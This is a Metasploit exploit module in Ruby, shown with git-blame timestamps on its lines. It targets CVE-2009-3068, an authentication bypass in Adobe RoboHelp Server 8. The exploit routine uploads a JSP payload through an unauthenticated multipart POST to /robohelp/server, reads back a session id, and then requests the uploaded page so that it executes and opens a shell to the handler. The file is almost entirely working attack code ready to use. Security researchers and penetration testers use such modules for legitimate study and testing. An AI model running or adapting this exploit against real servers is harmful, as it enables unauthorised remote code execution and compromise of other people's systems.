2009-09-27 18:38:48 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-09-27 18:38:48 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
|
2010-07-12 23:25:31 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits an authentication bypass vulnerability which
|
|
|
|
allows remote attackers to upload and execute arbitrary code.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => true,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-3068' ],
|
|
|
|
[ 'OSVDB', '57896'],
|
|
|
|
[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '09-066' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal Windows Target',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2014-08-31 06:18:53 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SHELL' => 'cmd.exe'
|
|
|
|
},
|
2013-08-30 21:28:54 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Sep 23 2009'
|
|
|
|
))
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options( [ Opt::RPORT(8080) ], self.class )
|
|
|
|
end
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
|
|
|
|
uid = rand(20).to_s
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
file = "-----------------------------#{uid}\r\n"
|
|
|
|
file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
|
|
|
|
file << "Content-Type: application/x-java-archive\r\n\r\n"
|
|
|
|
file << payload.encoded
|
|
|
|
file << "\r\n"
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending our POST request...")
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
2014-05-25 17:29:39 +00:00
|
|
|
'uri' => '/robohelp/server',
|
2013-08-30 21:28:54 +00:00
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
2015-04-17 18:59:49 +00:00
|
|
|
'encode_params' => false,
|
2013-08-30 21:28:54 +00:00
|
|
|
'data' => file,
|
2014-05-25 17:29:39 +00:00
|
|
|
'headers' => {
|
|
|
|
'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,
|
|
|
|
'UID' => uid,
|
|
|
|
},
|
|
|
|
'vars_get' => {
|
|
|
|
'PUBLISH' => uid
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
}, 5)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if ( res and res.message =~ /OK/ )
|
|
|
|
id = res['sessionid'].to_s.strip
|
2009-11-16 19:00:16 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
|
|
|
|
data = send_request_raw({
|
2014-05-25 17:29:39 +00:00
|
|
|
'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page),
|
2013-08-30 21:28:54 +00:00
|
|
|
'method' => 'GET',
|
2014-05-25 17:29:39 +00:00
|
|
|
'version' => '1.0'
|
2013-08-30 21:28:54 +00:00
|
|
|
}, 5)
|
2009-09-27 18:38:48 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
else
|
|
|
|
print_error("No SESSIONID acquired...")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
2009-09-27 18:38:48 +00:00
|
|
|
end
|